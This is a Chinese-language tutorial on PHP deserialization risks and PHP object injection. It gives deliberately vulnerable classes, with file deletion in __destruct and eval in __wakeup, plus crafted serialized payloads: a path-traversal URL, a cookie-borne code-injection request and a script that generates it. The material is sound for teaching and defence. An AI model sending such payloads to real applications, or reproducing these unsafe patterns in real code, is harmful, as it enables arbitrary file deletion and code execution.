反序列化的安全问题
使用 unserialize
函数从用户输入反序列化数据可能很危险。
来自 php.net 的警告
警告不要将不受信任的用户输入传递给
unserialize()
。由于对象实例化和自动加载,反序列化可能导致代码被加载和执行,恶意用户可能能够利用它。如果需要将序列化数据传递给用户,请使用安全的标准数据交换格式,如 JSON(通过json_decode()
和 json`_encode()`)。
可能的攻击
- PHP 对象注入
PHP 对象注入
PHP 对象注入是一个应用程序级漏洞,可能允许攻击者执行不同类型的恶意攻击,例如代码注入,SQL 注入,路径遍历和应用程序拒绝服务,具体取决于上下文。在将用户提供的输入传递给 unserialize()
PHP 函数之前未正确清理时,会发生此漏洞。由于 PHP 允许对象序列化,因此攻击者可以将特殊的序列化字符串传递给易受攻击的 unserialize()
调用,从而导致任意 PHP 对象注入应用程序范围。
为了成功利用 PHP Object Injection 漏洞,必须满足两个条件:
- 应用程序必须具有一个实现 PHP 魔术方法(如
__wakeup
或__destruct
)的类,可用于执行恶意攻击或启动“POP 链”。 - 必须在调用易受攻击的
unserialize()
时声明攻击期间使用的所有类,否则必须支持此类的对象自动加载。
示例 1 - 路径遍历攻击
下面的示例显示了一个带有可利用的 __destruct
方法的 PHP 类:
class Example1
{
public $cache_file;
function __construct()
{
// some PHP code...
}
function __destruct()
{
$file = "/var/www/cache/tmp/{$this->cache_file}";
if (file_exists($file)) @unlink($file);
}
}
// some PHP code...
$user_data = unserialize($_GET['data']);
// some PHP code...
在此示例中,攻击者可能能够通过 Path Traversal 攻击删除任意文件,例如请求以下 URL:
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}
示例 2 - 代码注入攻击
下面的示例显示了一个带有可利用的__wakeup 方法的 PHP 类:
class Example2
{
private $hook;
function __construct()
{
// some PHP code...
}
function __wakeup()
{
if (isset($this->hook)) eval($this->hook);
}
}
// some PHP code...
$user_data = unserialize($_COOKIE['data']);
// some PHP code...
在此示例中,攻击者可能通过发送如下 HTTP 请求来执行代码注入攻击:
GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close
通过以下脚本生成 cookie 参数 data
的位置:
class Example2
{
private $hook = "phpinfo();";
}
print urlencode(serialize(new Example2));